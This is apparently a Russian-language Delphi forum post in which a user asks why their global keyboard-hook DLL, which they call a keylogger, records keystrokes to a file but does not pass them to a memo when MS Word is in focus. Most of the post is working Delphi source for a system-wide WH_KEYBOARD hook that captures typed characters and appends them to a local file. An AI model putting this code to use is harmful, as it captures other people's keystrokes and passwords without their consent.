14.04.2024, 21:36
|
Новичок
|
|
Регистрация: 17.11.2022
Сообщения: 52
Версия Delphi: Delphi XE5
Репутация: 10
|
|
Хук клавиатуры и MS Word
Здравствуйте! Стоит задача отловить нажатие клавиш в различных приложениях и передать буквы в memo и записать в файл. Сооружаю стандартную несложную dll'ку клавиатурного шпиона и замечаю странность: с блокнотом всё прекрасно работает и пишется в файл. С браузером тоже. А вот с вордом в файл пишется, но в memo - нет. А если поставить брейкпоинты на месте writeln(f, key), то c вордом они не отработают, но в файл все запишется. Что за чертовщина?
Код:
library simplehook;
uses
Messages, Windows, keyboardUnit; //keyboardUnit только для расшаривания message WM_MYKEYPRESS
var
HookHandle:hHook;
ft:textfile;
hwin: Hwnd;
function KeyboardProc(Code: Integer; wParam: wParam; LParam: LParam): integer; stdcall;
var myHKL: HKL;
KS: TKeyboardState;
SC: integer;
key1: char;
begin
if code<0 then Result:=CallNextHookEx(HookHandle, code, WParam, LParam)
else
if byte(LParam shr 24)<$80 then {только нажатие}
begin
myHKL:=GetKeyboardLayout(GetCurrentThreadID);
SC:=MapVirtualKeyEx(WParam, MAPVK_VK_TO_VSC, MyHKL);
GetKeyboardState(KS);
ToUnicodeEx(WParam, SC, KS, @Key1, sizeof(key1), 0, MyHKL);
try
append(ft);
except
exit;
end;
writeln(ft,'key=', key1 ); // <---- здесь ставлю брейкпоинт и в случае с вордом отладчик игнорирует, но исполняет
closefile(ft);
//sendchar( hwin, key1);
sendMessage(hwin, WM_MYKEYPRESS, ord(key1), 0); //<--- здесь я передаю сообщение принимающему окну
Result:=CallNextHookEx(HookHandle, code, WParam, LParam);
end;
end;
procedure SetHook(wnd:hwnd); stdcall;
begin
hwin:= wnd;
HookHandle := SetWindowsHookEx(WH_KEYBOARD, @KeyboardProc, hInstance, 0);
end;
procedure DelHook; stdcall;
begin
UnhookWindowsHookEx(HookHandle);
end;
exports
SetHook, Delhook;
begin
assignfile(ft,'z:\Программирование\пробы\Test\Hooks\Keyhook.txt');
end.
|